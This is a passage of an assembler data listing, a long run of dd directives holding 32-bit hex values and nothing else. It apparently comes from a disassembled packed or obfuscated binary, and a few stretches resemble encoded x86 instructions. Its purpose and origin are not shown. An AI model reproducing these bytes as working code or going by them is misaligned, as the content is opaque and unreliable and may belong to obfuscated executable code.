dd 0A0993924h, 609FB5D3h, 2C3F489Fh, 0E8CA6F0Fh, 0C9E20027h dd 0D00A7F26h, 9C1635B7h, 0AE1ACCA5h, 0F2B395BCh, 0A14443h dd 2774C51Eh, 78784h, 75AFB383h, 0F309274Eh, 391F4EBEh dd 0DE2BED32h, 28EC265Fh, 0A839E26h, 30D10000h, 77F51085h dd 9A1E39AEh, 0AC4B66DBh, 0F0759005h, 8577B82Dh, 0BB30F57Ah dd 0E25702A0h, 0D8227C7h, 31A64FF2h, 657F9531h, 0F13F48A5h dd 0BD54643Ch, 9D9949E9h, 7574238Dh, 0B85133F2h, 48A6C35h dd 504EBD03h, 9381C578h, 0B532F37Ah, 0D77C35CEh, 52FAA99Eh dd 51Ah, 0B83B549Ch, 0AE8B4AF9h, 7FA64FEDh, 9EC94B61h dd 2A433F48h, 0BD31E085h, 0BE415A78h, 2F4882F7h, 3837E693h dd 0B5CEECB5h, 4E0B9736h, 0A284AB6Ch, 0BA5032E1h, 33010726h dd 275EE77Eh, 0EAE87E7Ch, 0D9F51395h, 0C9789F44h, 24422F0Ah dd 1F6BA30Eh, 46084D39h, 0EC267C55h, 0CAEF7779h, 18000009h dd 3E59CE8Bh, 6782F7BEh, 8CA71CC5h, 0B4CF44EDh, 0B8F96E33h dd 773ABBC6h, 9E5BE702h, 0C5680E29h, 0F3B23550h, 0CCE27E7Eh dd 3F48A718h, 54B1893Eh, 88819ABDh, 0B26170BFh, 8F7130B3h dd 0D0B273F6h, 3203494Ah, 0E1FEB19Bh, 232266BEh, 39FADC85h dd 4AD0CE8Ah, 5F8981C5h, 0D3000004h, 24D26F76h, 80263F39h dd 0CA6F2EDDh, 0F6910C53h, 0DFF54376h, 3924E305h, 0BEE50C51h dd 0AE678AA0h, 0C4093F48h, 73EA8DA6h, 0FE1432EFh, 330115E6h dd 8F042B70h, 7845BE55h, 0A526CF05h, 88737187h, 9EE33301h dd 0A44DF0EFh, 25C86D86h, 0FE3B9476h, 0DC415775h, 0EC391F8Bh dd 9BB0E5A7h, 9092EC26h, 90808h, 10CD5600h, 39F8809Bh dd 5E07A9C4h, 862FCEE9h, 0AC71F611h, 0F904F637h, 213CB174h dd 445FD481h, 6F8AFFA2h, 0B0B025CCh, 0A7E6FE14h, 0BB703F48h dd 31F073E3h, 7B33B64Fh, 24D27F65h, 6B92D739h, 0BF050889h dd 1B9DB6EEh, 0BBB7785Ah, 3924D329h, 3A39E82Dh, 0A179EEB7h dd 81C5D4A3h, 13D5Ch, 0F073A600h, 7E974F31h, 888736FFh dd 51E3CE5h, 20E1C362h, 1821FC71h, 32273D5Bh, 0E3F42F0h dd 8F51E7C9h, 1D3306B4h, 0CDCB3A80h, 1087E3EEh, 0AD22C2D8h dd 0EF343306h, 3D9840h, 637C0000h, 0B76F1EC3h, 0CFED86B3h dd 42FE4CB9h, 0E689A23Fh, 0ED9C5D3Fh, 0BC523479h, 3306A824h dd 7456039Fh, 3AC158DBh, 0B1D8997Bh, 84E4BCFh, 357B182Eh dd 0E3FFC8C6h, 0AD8187h, 54CB0000h, 385D0ABDh, 7A296A57h dd 5739F87Bh, 927439BEh, 0CDAF76F9h, 7BF0B134h, 250D8663h dd 5AC4F39h, 0EF84B590h, 61CCBBD1h, 8BD03F45h, 36D3546Dh dd 4C0DEFB6h, 0F4700725h, 0F43A544Fh, 0BDD84DFCh, 5AFE1F38h dd 842FB25Ch, 0E20C9B5Dh, 0D8DAF247h, 7D850h, 0E09D2600h dd 9A8506Bh, 2EF77994h, 561F9EB9h, 7C21C6E1h, 0C9D4C607h dd 0F10C8124h, 142FA451h, 3F5ACF92h, 8080F5BCh, 0A916CEE4h dd 8B403F48h, 0BB3B54B3h, 545314F6h, 61600FD2h, 89A419DCh dd 0B23248E6h, 0A43924D2h, 0D2925268h, 7FC43924h, 13D25958h dd 73A377ECh, 0B64F31F0h, 0BD547233h, 0BF4830DAh, 0BD32E1CAh dd 25DB3h, 86B38100h, 0B4B9CFEDh, 0B43F42FEh, 6A4C1597h dd 4B6482A9h, 6B0B0AB7h, 7423E4C6h, 0A443DA92h, 0CE14EEF5h dd 0C11F1BCAh, 0EB330671h, 1E37084Eh, 36F7D984h, 35CDCB87h dd 0F28687E4h, 0D0000001h, 0DE061C54h, 783924D2h, 0EEB33433h dd 0A09C4B0Ch, 3924D347h, 0E4026FCAh, 489F29CEh, 117533Fh dd 330106E3h, 0E9072E73h, 66842DD0h, 2204A94Dh, 223DB261h dd 3CF4D69Fh, 31E08123h, 8CAAC772h, 1F09A776h, 1ADC2139h dd 0EC261987h, 0DAC95153h, 28000006h, 4E69DE9Bh, 779207AEh dd 9CB72CF5h, 0C4DF541Dh, 0C8097E23h, 872ACBD6h, 0AE6BF712h dd 0D5981E39h, 3A24560h, 0DCF28E8Eh, 3F48AA08h, 54C1994Eh dd 12F4BD3Bh, 0A3A251h, 1940E589h, 5A1B9E37h, 0AEF4F778h dd 8120C4DDh, 302FDE9Fh, 976FE48Dh, 81C5D499h, 14452h dd 0F0739C00h, 33B64F31h, 7B180F1Ch, 0FE1CB05Ch, 2544FCE8h dd 0EE155A39h, 0C0A83F79h, 5C46C8E2h, 7A8D9AC2h, 2A51CA9Bh dd 9E7DBC7Bh, 0DBDC6AACh, 18365D2Eh, 43BE5702h, 0CA83F3Fh dd 8194CA5h, 0E72CA04Fh, 0D91A32C9h, 0AAE9D43Ah, 5D8319FBh dd 4F33074Dh, 0D8568017h, 5CBC3EC2h, 75E42AADh, 87E38377h dd 2030h, 86B37A00h, 4CB9CFEDh, 4C3F42FEh, 518F2507h, 5B3306A7h dd 0B0978BEh, 0C487E400h, 8Bh, 31F0730Eh, 6C31B64Fh, 0A74EF18Ah dd 0E8892CC5h, 0C9013973h, 24D331B3h, 0E4E02539h, 3924D300h dd 66621156h, 39252493h, 0F816DF62h, 0B49643DFh, 0F4CF44F3h dd 0F80E2C45h, 3F452A8Fh, 91AAC80Dh, 0B9D449ECh, 4AF7134h dd 0CAF246EDh, 5A740C8h, 6CF50000h, 9B213CB1h, 0A64A65DAh dd 0C86F8AFFh, 1499B429h, 0A99BDC51h, 0DF54199Eh, 0E833EC4h dd 39AE73F3h, 65DA9B1Eh, 31B3C965h, 253F48ABh, 0F2739870h dd 1C9FBA2Fh, 730CE055h, 0CC959F0h, 0C76A03E5h, 0D2D31127h dd 3E833924h, 3F62F917h, 0C87E47AAh, 0F2AF3332h, 3BC4CE43h dd 2C000000h, 0AECC9513h, 25454C98h, 16C50A39h, 31F0735Eh dd 0FB7E974Fh, 0D2B72D43h, 5A9F3924h, 0E1905133h, 0B4965FE2h dd 3BED3330h, 7A84F9B8h, 1Bh, 177D4BE2h, 9B80C5CDh, 0F07334ECh dd 28B94F31h, 153924D3h, 179A4C92h, 7305D94Eh dd 0DB1331F0h, 24D31FC5h, 43F23739h, 68310861h, 0A84123C6h dd 0F365D04h, 3A735AF1h, 0CC55BEA3h, 0B8667C1Ah, 48F71E20h dd 8235142Ah, 9413F49h, 0EA29BBD1h, 0E82D3301h, 1E9F8ECh dd 6A195E33h, 7A93B1F6h, 0EFB4D8F7h, 0BCA11AE4h, 987A3BBDh dd 203BB0D7h, 3AF2D49Dh, 0F7D99C21h, 71C88736h, 0B9E08128h dd 6825859Bh, 7C133926h, 0FD121396h, 0A014C36Fh, 81243D5Bh dd 0AD506BE0h, 694FE604h, 0A6509110h, 43FBDD8Ch, 49EFF50Bh dd 22672CDEh, 0EC85B473h, 6E37B5CEh, 3169A1BFh, 0DE49C91Bh dd 99488D2Ch, 0FC5E049Dh, 0C587CC32h, 0E6034D08h, 4640C8CAh dd 94000004h, 0C2DD520Fh, 0EB067B3Ah, 1833A849h, 405BD091h dd 4485FABFh, 3A64752h, 32EF738Eh, 591CA2BDh, 7F26C9E4h dd 586E0A0Ah, 3F48AB8Ch, 543D15CAh, 0D2DE061Ch, 3C783924h dd 24D2BE26h, 2C539839h, 3AFB7E7Dh, 0CE728BC5h, 0F6797827h dd 0E50CD557h, 1EC76A03h, 72B8BB3Ch, 0FF743DC0h, 0C5D42927h dd 4BE281h, 0B32C0000h, 91EC9786h, 4761719Eh, 43E90220h dd 0BFD5F3A2h, 3F4401D9h, 6982A0E5h, 93AB20C5h, 3307694Fh dd 0B72CF578h, 0F97F1A9Ch, 77955638h, 7688361h, 678ED333h dd 3A3FD85h, 0CE650000h, 41FDB30Dh, 4AD8D79Bh, 3DECAD8Fh dd 31F07385h, 7233B64Fh, 4635BD54h, 370FB135h, 1381388h dd 1D3C5270h, 233F435Dh, 95BC6106h, 21C31DB3h, 0B1E93307h dd 21816379h, 90D53307h, 47185EE1h, 3BEA8B2Eh, 0E381817Fh dd 2C3A87h, 0B3840000h, 0B9CFED86h, 3F42FE4Ch, 8F25074Ch dd 3306A751h, 978BE5Bh, 87E4000Bh, 6EDFB74Eh, 58223C9h dd 10BF0D19h, 0C668h, 3B54B200h, 4645F4BDh, 30DCACA3h dd 83EFF50Bh, 22673925h, 194D93A5h, 0F67710F2h, 35B85133h dd 0B0354E6Ch, 9B4A0BEDh, 0D49D20B9h, 0C292475Fh, 80233925h dd 0AE516CE1h, 6DCC2507h, 29D0E604h, 573F43C8h, 8B5DF412h dd 0B0827B3Eh, 47229746h, 2B6381F2h, 0E4C66F12h, 4CBD2723h dd 54993307h, 107187A5h, 803927F9h, 0BA861D3Bh, 55570A68h dd 1F385605h, 16CEE49Eh, 402CE5D9h, 445FD4FBh, 833CFEA3h dd 53EC28EFh, 29BC951h, 58E90000h, 6F0D289Dh, 0B23651C6h dd 0C4637EF3h, 0E88DA81Dh, 9D8FD045h, 0D348ED92h, 0FA6F2AB8h dd 259A5FDFh, 49BE670Ah, 4D97AD49h, 93F48AEh, 0F2737C54h dd 1C9FBA2Fh, 0B30CE055h, 0B9CFED86h, 3F42FE4Ch, 6D25074Ch dd 2E10D154h, 70521395h, 0C20B88AFh, 86E0109Bh, 0AD332FDEh dd 0FF3306C8h, 0AFAD1C62h, 6887E3DEh, 0CDh, 31F073B2h dd 6C31B64Fh, 0D6E5F48Ah, 2DD03924h, 0AE4D6684h, 11D3E907h dd 453924CFh, 0C1DC5100h, 4059773Eh, 5516F8B9h, 0CE6BC4A6h dd 887187A5h, 0F83F42DBh, 0FB7C95B3h, 0E4935436h, 0CCA5946Fh dd 6B8A98AEh, 3483927h, 862BCCE5h, 0D471F611h, 657F9555h dd 0F12CE618h, 0AA385ACh, 6F96BD78h, 292FACADh, 9C2426ECh dd 1C5h, 5ED38E13h, 87FCA543h, 0B429C86Ch, 0DE531299h dd 0A7F22C3h, 2BCCD7C9h, 6CF61186h, 9D213CB1h, 0A54863D8h dd 0EB8787FCh, 48AF0FD5h, 0BA92473Fh, 7BD9F273h, 0B15DDBA0h dd 4A52968Dh, 0E452C0CDh, 0D0089FBDh, 0A0D2385Eh, 6EA81DCCh dd 600FD655h, 0A217DE61h, 0AAF4F68h, 0DE00708Dh, 0D78648B0h dd 31F0731Fh, 7233B64Fh, 22A73B54h, 3B2D99Ch, 59F0738Eh dd 6E2F11D4h, 94AD6547h, 0E09F4E13h, 2C46C259h, 694BF68Ch dd 0A5842BA8h, 0D4FBA63Ch, 0C8798FADh, 483F43B1h, 92B32103h dd 4E179A4Ch, 4E579930h, 0D0B8100Fh, 68D1AC21h, 0F2D7ED0Bh dd 2E39257Eh, 0CB6E07E9h, 13AF482Ah, 4AEB8466h, 3657C5A7h dd 2F2C16F0h, 0B1C277E9h, 764C7D93h, 0B7D43307h, 0CE8F7130h dd 674A9AB0h, 0C70C26CBh, 6D102BA0h, 0A549E2C4h, 8FB01E00h dd 56149749h, 0CB66A440h, 466DB226h, 0F87E97D1h, 72C78635h dd 74CDE301h, 9C2CE96Fh, 0EB013957h, 20AD5EF9h, 5F479DB3h dd 0CA0F20ADh, 80621156h, 0BB9D44E7h, 74E62C4Dh, 758EACC5h dd 11D057F6h, 98476E2Fh, 0F40A427Ah, 20AD5EF0h, 9A222166h dd 8938F9DBh, 0CB66B48Dh, 1499B226h, 0E92EA251h, 0D3A09974h dd 22B29FB5h, 9CD420B3h, 6B895E86h, 5ADBF814h, 4DC17097h dd 8EA8F30h, 3A64847h, 57396021h, 57A3BBEh, 0BC9E47EAh dd 0E4CC126h, 0E228251Fh, 0C6E48D30h, 0BC6B0AADh, 0F1892C47h dd 0B09257D8h, 0C6F1F3EFh, 206509C8h, 0FF7E17F9h, 3214D95Eh dd 0A389E71Bh, 0D1F873B8h, 395AC8AAh, 0F7BE41F3h, 1DC46782h dd 0BB33Bh, 21B0000h, 34B8B77Eh, 7F06BE6Dh, 33EE73A7h dd 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h dd 9F46E57Eh, 0E18024BDh, 1FC666FFh, 7F68003Dh, 8900003Dh dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0E289525Ch dd 4C281h, 0EA810000h, 4, 5C241487h, 68242C89h, 73A7h dd 68243C89h, 623CD10h, 3C8B545Dh, 4C48124h, 55000000h dd 92242C81h, 8F19262Fh, 47810847h, 262F9208h, 2434FF19h dd 4C4815Fh, 8B000000h, 8957242Ch, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0A0D9E95Ch, 1BC6FFFAh, 98945D4Eh, 4F17E463h dd 23DE4AB8h, 0FFC50306h, 0A3D19EE0h, 6C643708h, 0FDB3CD7Fh dd 732EAE46h, 5841C25Eh, 36BA8567h, 0DCD77F79h, 4A386E14h dd 0F9864546h, 0C622CA5Eh, 7530671Fh, 0BB4A445Ah, 0A6A02546h dd 0CE81Fh, 0BEBE0000h, 4D77EFD7h, 0ADE6A43Dh, 0F381A5DBh dd 435B9EC9h, 0CEF9B859h, 0C18171AEh, 5BF3h, 9056CB81h dd 4BF403Ch, 813041D9h, 41C22AEFh, 8BC68B30h, 53D0B811h dd 0C2815FE3h, 1113290Bh, 2870Fh, 94B70000h, 6913C281h dd 7E87A6Ch, 3C000000h, 0A8A21CB5h, 66510097h, 61AEC381h dd 0EA815E5Eh, 77A29C0Eh, 52DA8B66h, 83018FF5h, 0BF0F04E9h dd 1EF83DAh, 0FFB5850Fh, 0EE9FFFFh, 53000000h, 62C745FDh dd 1A7F1189h, 0FE36D3CDh, 0CD08EBF6h, 0C341Eh, 0E9023F00h dd 0C8Bh, 23E13168h, 64BEE906h, 3068FFFBh, 0E90623E2h dd 0FFFB64B4h, 23E3DE68h, 64AAE906h, 0B068FFFBh, 0E90623E4h dd 0FFFB64A0h, 23E57768h, 6496E906h, 8068FFFBh, 0E90623E7h dd 0FFFB648Ch, 23E82F68h, 6482E906h, 0AE68FFFBh, 0E90623E9h dd 0FFFB6478h, 23EAAC68h, 646EE906h, 0BBB1FFFBh, 0ABADFE4Eh dd 0A9ADFE4Eh, 0AAAF0050h, 0A9ACFD4Dh, 0BF37FE4Eh, 0D828CF86h dd 0D727E487h, 0D626D186h, 0DC2CE585h, 118C3DBAh, 611AAE1Bh dd 0AFBB1C89h, 9FCB0062h, 0FB9D00B1h, 17D51C8Dh, 0AB5D6FBFh dd 0EEC5647Dh, 2F9B6868h, 9708AE1Dh, 88A1DD3Fh, 8D6E64D7h dd 0BDEEAC1Ch, 9373EC0Ch, 4CAE6C1Ah, 9349C63Dh, 5A31CC1Ah dd 0C2CBFCFBh, 7829C8D8h, 1A934905h, 0A21DCE4Dh, 0F21A9349h dd 0B75DDC34h, 6D9CE929h, 3FC1849h, 0F5E7E326h, 29h, 1A0EFAA8h dd 0D3B8FC01h, 198CAE64h, 49849E8h, 4C1A9352h, 0A61D2C8Eh dd 0AC1A9356h, 3D36B3A7h, 2FE7E2A8h, 0B8h, 0CBEEF3E2h dd 0E41CD544h, 0C9A178A9h, 0AE1DE40h, 61BB854Bh, 60ED165h dd 0AFA67DAEh, 0B9B1E648h, 0B1B9EE50h, 0ABDD0858h, 5D1C8D77h dd 63B4040Dh, 0B2A80A07h, 7B7CD946h, 6C85DD19h, 937AADBBh dd 9DEDAB1Ah, 92AB9D8Bh, 0B3CD40E1h, 0A9C2801Ch, 5B7483D2h dd 0BD900BBCh, 22E010B2h, 8BCA1BF1h, 2A4BB16Ch dd 1AE26F53h, 0A58CCh, 25E28A00h, 27D484D5h, 27D086D7h dd 2CD386D7h, 2DCA8BDCh, 659E16DDh, 66B707F0h, 69BA0A05h dd 68B909EEh, 93B50502h, 1AFA6516h, 623A1AAEh, 5D9ABBF5h dd 11FE6D44h, 0B1B90AE0h, 50EF0858h, 0EC17E079h, 1C8DFB71h dd 0E3D203C1h, 11A0EFAh, 66C82F2Ah, 0BB5AF92Ah, 0FBF06B1Ch dd 0B6B41C8Dh, 85D69459h, 87C325D2h, 0D01BA556h, 66051A93h dd 934C98Fh, 1A93D096h, 0A4EF20DEh, 0E7584E6h, 41A93D0h dd 958E1BFFh, 87E7E32Ah, 0CEh, 62AFBB3Ah, 5EFE0300h, 0D31C023Bh dd 72E3BAEBh, 53676C85h, 0F58D6557h, 1221093Ah, 1C8D2C66h dd 2336D892h, 0E63E7ADCh, 0EC254596h, 0B464948Ah, 2F9AEA9Bh dd 23DA1A93h, 2864C633h, 36B2B7D0h, 5DF05AD9h, 0B6C89ECFh dd 0E6BDD642h, 0BC5B8C73h, 0E611461Dh, 19B404B5h, 0F6B41CB3h dd 0A84F06DDh, 0A94E0758h, 52D818EEh, 1F6D356Fh, 959h dd 0E434E18Bh, 0E838C593h, 0EA3ABF97h, 0E737C099h, 0E838BF96h dd 0E570A921h, 0FA71C212h, 0EB6CBD0Dh, 0FB6FC010h, 1F9CBE0Eh dd 0AE19F36Eh, 0FE6B431Ah, 0C03B1CF3h, 5809225Eh, 1C8DFBE5h dd 673E6F2Dh, 51F009EEh, 8DFB3DA0h, 86B7751Ch, 0FE0B5FB0h dd 0ADBE95AEh, 0A507F069h, 73AF1169h, 0AFBB5342h, 9FCB0062h dd 18102272h, 6E661730h, 5A1A93EDh, 0C628D583h, 500E598Ah dd 58B1B9EEh, 8CEFA03Fh, 0C41A93EDh, 0AEFFD506h, 0E2F153BCh dd 9DD5CE5Ah, 99D1C9D2h, 0E4193FD1h, 9EEE4682h, 92F41D4Dh dd 0E9C21D83h, 3921A491h, 0F96979F1h, 5C68BF34h, 3DEED251h dd 3DEF7292h, 264495E5h, 0FC7887E9h, 86E16A5h, 97D31BFFh dd 2F26D881h, 0D90E70C8h, 0CA227A7Fh, 0C841297Ah, 69B87066h dd 34163280h, 92AB0316h, 0F74C17E1h, 3422F997h, 904792C3h dd 93CF31C6h, 4C56C97Ah, 0E09E8F0Fh, 0F2263888h, 0E3B2F31Fh dd 0EC288A87h, 0FBEECA6Dh, 4FD98AA3h, 31891124h, 0E47EE192h dd 0B162852Ch, 852CE44Eh, 4503C886h, 0F20BC914h, 0E43FA253h dd 0B977852Ch, 0DA0BF068h, 381EF5F2h, 67DD8EBFh, 29852CE4h dd 62D9A52Dh, 7C7503C7h, 0C88DC224h, 33036108h, 7CD429E3h dd 4A30191Ah, 0F3E7ECFBh, 38A354F3h, 78852C14h, 746D89BAh dd 66545F6Ah, 4BFh, 0FB7EE119h, 0E9501C8Dh, 0C31C8DEBh dd 1C8DE8B4h, 8DEFD74Eh, 9534D31Ch, 8DEF79E4h, 0D0FBB91Ch dd 1C8DEF6Dh, 1EB6E7A5h, 74253EEAh, 1A93FC58h, 917F3AF8h dd 8469320Bh, 7AB6EBCh, 8FDD0000h, 77E13282h, 75E13282h dd 76E33484h, 6DE83989h, 0FB733A8Ah, 146493C2h, 1B6BA8C3h dd 1A6A8DCAh, 1868A1C9h, 55C879F6h, 9D1AAE18h, 54F358C5h dd 8DFB38A3h, 917EEC1Ch, 702EF32Fh, 502683Fh, 0C7BADA3h dd 8DFBE05Bh, 46B1A41Ch, 526BC381h, 0FB9F02B3h, 19D71C8Dh dd 869849E8h, 0CA1AAE24h, 9EA3BC0Ch, 9BD27FCEh, 0BEF324B7h dd 98807817h, 0A16CE7Fh, 0A8661CB0h, 3A368A8Fh, 0A44B3BEAh dd 0C79E3B73h, 0C80466A3h, 923CE697h, 0F92FBFADh, 0DF85364Fh dd 9DA1314Bh, 66EFC6DFh, 0C2F32F91h, 0A7D8DDDAh, 6820D925h dd 24D46C9Dh, 653CDBF4h, 6EAA0C05h, 0A3EF8C3Dh, 0AD6BDB53h dd 64ADBD94h, 6AA7C314h, 0F27D6BAFh, 28763E2Ah, 6D9h, 64B4610Bh dd 68B84513h, 6ABA3F17h, 67B74019h, 68B83F16h, 65F029A1h dd 7AF14292h, 6BEC3D8Dh, 7BEF4090h, 9F1C3E8Eh, 0AE1F73EEh dd 7EEBC31Ah, 0C44F1CF3h, 0D43D2D62h, 0ADDE3672h, 1C35E315h dd 93ED656Bh, 0FC05F1Ah, 1A93EDACh, 0AAF526E4h, 0ED077A2Bh dd 914F1A93h, 0C8A2D739h, 0D687263Fh, 1A93ED6Bh, 0D4BCEDABh dd 60605A63h, 0EDAD10C1h, 27E51A93h, 7EAA5EF6h, 0FBDCB465h dd 45FC1C8Dh, 768FE710h, 0E143B89Fh, 0F850ABACh, 5FC6F1C7h dd 3910B1D6h, 10B1D6C6h, 0C8E157C1h, 92090717h, 298B4916h dd 0EDF7A41Ah, 0A9C1980Eh, 0AE060367h, 2EDF104Ch, 0F1120848h dd 6621EE7Ch, 7573EFBEh, 1249975Fh, 44000006h, 4A9BEB28h dd 2 dup(4899E90Eh), 4596E611h, 0D097E710h, 0C1361F58h dd 0C04B2071h, 0C3381F70h, 0BF482273h, 1FD04D6Fh, 1AAE1EBCh dd 0FAAF1CF4h, 50011A0Eh, 1AAE244Eh, 0FB00572Eh, 0E84AADAAh dd 72307BACh, 828FDB10h, 18E92032h, 9F7B6799h, 0AE1068FDh dd 1B3B12B1h, 1748B3DEh, 0CA881AAEh, 5FA8C299h, 63ACBE0Fh dd 719ECC01h, 362CAF0Fh, 8F1F292Eh, 247F3B21h, 0C14E1CF3h dd 0D8815871h, 0D9D2EE1Fh, 0CBE7DE22h, 1D7h, 1A0EFA7Eh dd 0ED845001h, 0FEBC1A93h, 0AD4A0EE5h, 1C85947Ch, 0D01A93EDh dd 0D70C6E89h, 69187A7Fh, 0CB479E84h, 0AF595248h, 0BCC16079h dd 0CDFC4940h, 108BB6FAh, 601A937Dh, 21D271A2h, 1C8D6BD7h dd 2E7FCF8Dh, 3C71D33Ch, 7F91E12Eh, 0E7869F89h, 67249748h dd 0AE6C10B1h, 7A2CCC7Dh, 1D816AFh, 49C6A46Ah, 0F153ABE7h dd 7B3984B5h, 41930A19h, 94990ED7h, 19196AEh, 84F3075Bh dd 0A69FBBECh, 1DBA748h, 0AF12C362h, 0E70ED7E3h, 0E383FE29h dd 15D30ED7h, 68DCE4h, 0FA8F0000h, 0FC011A0Eh, 0EEABDDF1h dd 0D386D73Ch, 0AB5CFB2Ch, 1A93F411h, 303FA15Fh, 1A93B4C9h dd 0AE5FD97Dh, 1A93B433h, 0B6DC583h, 137582D6h, 27D086D7h dd 0E7DBC4C5h, 968C91A0h, 0E3061811h, 0B99C73E7h, 86E81145h dd 0B9C1F24Ah, 0E6h, 0F16C1DBCh, 0ED1A93A0h, 93A0C13Ch dd 8E53111Ah, 0AF12E9A9h, 19717C08h, 0AFBBF9E8h, 0E6724962h dd 0C3F8E011h, 0CE036592h, 0DC11739Ch, 2ACD888Eh, 1B348CC8h dd 0FB50CB7Ch, 0BBA01C8Dh, 0E3562404h, 4B7CD46Fh, 161E4A75h dd 63021C8Dh, 8D164FB2h, 78C9871Ch, 7AB618F3h, 0FF87249h dd 0CD7BADBFh, 0F96415B4h, 391C8D16h, 0CB2C2A7Bh, 5DFC2D69h dd 5F80B9BEh, 0C909FED6h, 51D7E798h, 5B191AADh, 0DEA6B42h dd 0EE96CBDh, 3490DB53h, 60AE7669h, 409h, 94E4313Bh, 98E81543h dd 9AEA0F47h, 97E71049h, 98E80F46h, 352059D1h, 4A2172C2h dd 3B1C6DBDh, 4B1F70C0h, 0CF4C6EBEh, 0AE1CA31Eh, 0AE1BF31Ah dd 0BD3A1CF3h, 5EA0B58Ch, 619DFFF8h, 268B909h, 9C4DEC05h dd 1C8DFB21h, 5B9CBA71h, 3465BDF9h, 0AFBBF55Eh, 9FCB0062h dd 0E1B92272h, 1C8D7B7Ah, 8D7BED54h, 5702D91Ch, 0D1023EA0h dd 2032CF39h, 0D8CD6861h, 803537CFh, 4EFE6101h, 673EDDF6h dd 28D90AEFh, 1AAE9716h, 443A9C5Ah, 744B64D4h, 77B315E2h dd 0EF6A746h, 4E1CB774h, 0E637D497h, 7530886Fh, 6F5692C3h dd 5A44925Ah, 8C000003h, 92E333E0h, 2 dup(90E131C6h), 8DDE2EC9h dd 18DF2FC8h, 9EE67A0h, 80368B9h, 0BF067B8h, 7006ABBh dd 671895B7h, 1AAE13F4h, 0BBF7643Ch, 30062AFh, 41D5CFEh dd 3C6DCE9Ah, 0F30C0565h, 73C44F1Ch, 14EA1BF8h, 9221602h dd 935F9858h, 0E1FAB81Ah, 46A84F0Ah, 0E2F1D90Ah, 1A932D7Bh dd 6DCF3C2Fh, 76D83338h, 43827881h, 0BE4B2F34h, 0E7E282C5h dd 6DD08120h, 0A51A9325h, 378F68EEh, 258770E6h, 44B0B8E9h dd 63000000h, 11A0EFAh, 69CB2C2Ah, 0BE5DFC2Dh, 2A8C71E7h dd 399B64F5h, 0C374A5FDh, 1A93D079h, 0A479277h, 0A80C3F49h dd 78DFEE50h, 6E1A93F8h, 0FBF47169h, 0EDE7E351h, 0F3h dd 3DA051F0h, 751A93F4h, 0BB9786B7h, 0AA4962AFh, 8DFB86F9h dd 0D491141Ch, 0B14AD07Bh, 15FD2EECh, 0E0294118h, 3A11427Eh dd 457ADC1Bh, 34D3EC25h, 8DBC1883h, 6D8ACC1Ch, 9166F1A8h dd 0EB200839h, 1742927Fh, 1C8DB86Dh, 0E636D397h, 27D2ECDh dd 981C8DB7h, 0CB7730A5h, 31EFB46Eh, 0C8412900h, 0D8926966h dd 0B266FE2Fh, 5CBC6D86h, 7C1A93C5h, 3DA0A5BEh, 0FEF1FF48h dd 0FAAA6B3h, 77DFAC90h, 0AA5E7046h, 0CA2CE585h, 0D638C195h dd 0D1EA429Ah, 0B3351820h, 3E2D041Ch, 0C1726FD1h, 10B2F55Eh dd 4F80D896h, 562D4604h, 57A8F8FFh, 43EF9FEh, 0A96F52F2h dd 1DB93E1h, 5F0D0000h, 471162B2h, 451162B2h, 461364B4h dd 3D1869B9h, 2BA36ABAh, 449463F2h, 4B9B78F3h, 4A9A5DFAh dd 489871F9h, 85F8A926h, 0CD1AAE12h, 9ABB88F5h, 0AEBC0D5Dh dd 0FAA81161h, 50011A0Eh, 1A93D0CCh, 0F41D4D04h, 54055692h dd 0E2F153ABh, 1A93D07Bh, 6E766C71h, 1841BF97h, 0E9417DDFh dd 0FE1A4B87h, 0E7E32A05h, 0CCF7h, 0DF5FA00h, 5415D382h dd 0F37E6D9Eh, 8F5B11EEh, 0D4C8C6C6h, 0DB30AFD9h, 9C73A451h dd 85281ACEh, 615D96F0h, 0E372A709h, 3324FB14h, 0A0AF97C8h dd 1C8DAFF4h, 6DBD4A20h, 5FC14E1Ch, 7089BF69h, 93A341BFh dd 0A8C17F1Ah, 0D6F88D1h, 0B1CAA0D1h, 99FE6112h, 78361A93h dd 9933AE5Fh, 0C5831A93h, 1C0CFC94h, 14C56403h, 1A9399A9h dd 49FA2BE9h, 1CB33090h, 320922E0h, 0FE9DCE39h, 2CCF885Fh dd 0C63124FBh, 0C7302576h, 52EF400Ch, 0B705CD6Fh, 0DDh dd 60B05D0Fh, 64B4490Fh, 66B64313h, 6BBB4415h, 6CBC3B1Ah dd 61F42DA5h, 76F54696h, 5FF84999h, 6FFB4C9Ch, 0B33052A2h dd 0AE119F02h, 92FFD71Ah, 0D5D9ABBh, 1161AEBCh, 4F1CF3A8h dd 0D52662C4h, 734A7B84h, 0FC011AF7h, 0F5A6A79Ch, 1C8D998Ah dd 58D0CCAh, 0E9D10223h, 959B6B4h, 0FE1701F7h, 0AE09754Dh dd 0EF9E831Ah, 0FB6617ECh, 3B1AA94Dh, 0D46AFE7Dh, 0AF4C0C5Dh dd 0AAC0F557h, 0AEBC0D5Dh, 0B40CEF68h, 3F505552h, 95218145h dd 1C2CDD0Eh, 9410BEF6h, 3AA556F5h, 7A0CB10Ah, 98828BBCh dd 9DED1A50h, 8FF11E4Ch, 96F8FF5Ah, 0AEB6AC95h, 457693D7h dd 0C313FC6Eh, 0B482D3AAh, 0B10A9803h, 0C21AD80Ch, 1CF32460h dd 6A8DC84Eh, 0A62B012h, 65000000h, 0D133DC8Eh, 4F756495h dd 64B1BB80h, 749DCD02h, 7D7ADD12h, 8A85E61Bh, 9562F328h dd 0A057FE33h, 0A750093Eh, 0B1461045h, 0B93E1A4Fh, 8951C257h dd 4C181E1h, 83000000h, 0C3304E9h, 240C3124h, 5C240C33h dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51241C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 0B8502404h, 720B04FBh, 4996BD55h dd 93BB6C68h, 311446ACh, 0C3295DEBh, 28536858h, 24890000h dd 24048324h, 0BA525804h, 3184051Eh, 516F281h, 0C2013184h dd 0FF5A1A89h, 83582434h, 34FF04C4h, 0C4815B24h, 4, 0FB5843E9h dd 48352AFFh, 0B8E9C51Dh, 623EBAEh, 0E0FFC503h, 671DE1F3h dd 70589BA9h, 3F67E074h, 39475540h, 120FA75Eh, 11C08D1Eh dd 4BA9E635h, 8D65CE4h, 0ED308D8Dh, 6A0623h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F73C3h dd 758D89FAh, 6A061E23h, 